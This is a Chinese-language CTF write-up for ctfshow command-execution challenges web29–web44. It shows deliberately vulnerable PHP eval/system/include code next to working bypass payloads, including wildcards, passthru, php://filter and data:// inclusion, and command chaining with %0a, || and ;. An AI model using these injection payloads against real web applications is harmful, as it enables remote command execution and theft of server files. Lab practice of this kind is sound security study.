前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【ctfshow】命令执行->web29-web44

【ctfshow】命令执行->web29-web44

作者头像
吉师散养基地
发布2023-04-28 15:17:14
5580
发布2023-04-28 15:17:14
举报
文章被收录于专栏:我奏是太阳

前言

三刷命令执行了,怀念捏

web29

代码语言:javascript
复制
 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

第一题,相当于啥都没过滤。

代码语言:javascript
复制
Payload:
?c=system("tac fl??????")//?通配符
?c=system("tac fl*");//*通配符
?c=system("tac fl\ag.php");//\分割
?c=system("tac fl''ag.php");//''分割

web30

代码语言:javascript
复制
 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

ban了system(),考虑替代方案

代码语言:javascript
复制
Payload:
?c=passthru("tac fl\ag.p\hp");

命令执行中可以替代system函数的有 1、exec() 2、passthru() 3、反引号/shell_exec()

区别在于: system()/passthru() 直接将结果输出到浏览器 exec()/shell_exec()/反引号 需要通过echo/return来查看结果

web31

代码语言:javascript
复制
 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

相较于上一题过滤多点:点,空格,单引号

代码语言:javascript
复制
Payload:
?c=passthru("nl%09fl*");//纯绕
?c=eval($_GET[1]);&1=system("tac flag.php");//类似于一个跳板

空格被Ban: ${IFS}

<

>

<>

%09

%0a(二者差别主要在于前者通常插在中间而后者一般放在末尾)

读取文件语句:

nl*(输出带行号)

cat/tac(二者一正序一倒序)

关于跳板

已知浏览器需要一个名为c的变量,这个跳板的原理就是c的值是要再读取一个值,这个值将不受任何限制。

web32

代码语言:javascript
复制
 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

这又把(过滤了,没招,用包含做

代码语言:javascript
复制
Payload:
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

后面伪协议随便拿个hackbar跑就行

 出来一串base64编码

 直接解码出flag

web33-36

用上一题的方法通杀了

web37

代码语言:javascript
复制
 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

换姿势了,得包含。

代码语言:javascript
复制
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

 data协议包含,然后直接传命令

代码语言:javascript
复制
<?php system('cat flag.php');?>

记得编码再传

web38-web39

用上题方法通杀

web40

我是彩笔,不会,建议看师傅WPctf.show

web41

 我都忘了我啥时候写的

 。。。

我是彩笔(肯定

web42

代码语言:javascript
复制
 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 

出现了一个奇怪的东西

>/dev/null 2>&1

建议看这篇博客>/dev/null 2>&1

省流:

这个玩意就类似一个垃圾桶,屏蔽所有输出以及报错

代码语言:javascript
复制
Payload:
?c=cat flag.php%0a//%0a截断
?c=cat flag.php||//||截断
?c=tac flag.php%26%26ls//传两个值进去,垃圾桶只能吃一个
?c=tac flag.php;//分号直接截断

web43

代码语言:javascript
复制
 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

把分号ban了

没事,||接着绕

代码语言:javascript
复制
Payload:
?c=tac flag.php||

web44

不开环境了,估计就是在上一题的基础上把flag ban了

代码语言:javascript
复制
?c=tac fl*||

不写了,古耐

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-04-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • web29
  • web30
  • web31
  • web32
  • web33-36
  • web37
  • web38-web39
  • web40
  • web41
  • web42
  • web43
  • web44
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档